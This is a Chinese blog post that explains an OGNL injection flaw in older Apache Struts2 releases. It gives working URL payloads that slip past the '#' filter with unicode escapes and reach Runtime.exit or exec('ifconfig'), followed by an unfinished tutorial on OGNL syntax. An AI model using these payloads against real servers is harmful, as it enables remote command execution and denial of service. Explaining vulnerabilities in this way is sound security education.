java struts 漏洞_Struts2.1.8以下的漏洞

?('\u0023_memberAccess[\'allowStaticMethodAccess\']')

(meh)=true&(aaa)

(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')

(\u0023foo\u003dnew%20java.lang.Boolean("false")))

&(asdf)

(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

?('#_memberAccess['allowStaticMethodAccess']')(meh)=true

&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new java.lang.Boolean("false")))

&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1

OGNL处理时最终的结果就是

java.lang.Runtime.getRuntime().exit(1);

----------------------------------------------------------------

?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true

&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))

&(asdf)(('\u0023rt.exec("ifconfig")')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

OGNL处理时最终的结果就是

java.lang.Runtime.getRuntime().exec("ifconfig")

以上为struts2.1.2版本洗一下的一个漏洞。首先铺垫一下,上面代码执行结果为停掉当前运行的容器,getRuntime().exit(1);退出。

首先这个漏洞出现是因为OGNL 的用法。

简单的介绍一下ognl概念去看百科吧,说一下用法:

OGNL的方法调用:

OGNL是在运行时调用方法的,这使得它无法做强制的类型检查,OGNL会去检索一个和它方法的各个参数最接近的一个方法进行使用,

如果有多个方法满足这个条件,那么OGNL将任意调用其中的一个.(NULL和所有原始类型匹配,所以最有可能返回一个出乎意料的调用).

OGNL也支持new object()的方法,产生一个新的对象,但是除了在java.lang包里的对象外,必须指明对象所在包的全名.

OGNL支持直接调用类的静态方法.@class@method(args)

eg:@abs(-12.345);

@Java.lang.Math@floor(3.25);

@Java.lang.Math@Sqrt(4);

OGNL操作集合

1操作列表Lists

OGNL中Person in {"chinese", "japanese", '"Amercian"}

2 操作映射

OGNL中#{"foo" : "foovalue", "bar" : "barvalue"}

OGNL有一个简化变量机制(在变量前加符号#),所有OGNL变量在整个表达式里是全局的。

eg:#var

#var = 99

listeners.size().( #this > 100 ? 2 * #this : 20 + #this ) 调用listeners的size()并与100比较,

#this为size的值,如果大于100则是返回两倍的size值。

可以这样创建一个Map:

#{“foo”: “foo value”, “bar”: “bar value” }

#@java.util.LinkedHashMap@{“foo”: “foo value”, “bar”: “bar value” }

OGNL 上下文变量

#application

#session

#request

#parameters

#attr

以上各值分别对应应用程序的不同层次的值,为了达到程序不被恶意修改在xwork包 com.opensymphony.xwork2.interceptor.PrepareInterceptor类中对#号进行了过滤。

但没有过滤java中的unicode码,#的是\u0023

(未完待续。。)

我们有的时候等的不是机会,而是时间,等时间让我们自己改变。

posted on 2010-08-09 09:23 王小同 阅读(1283) 评论(0)  编辑  收藏

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值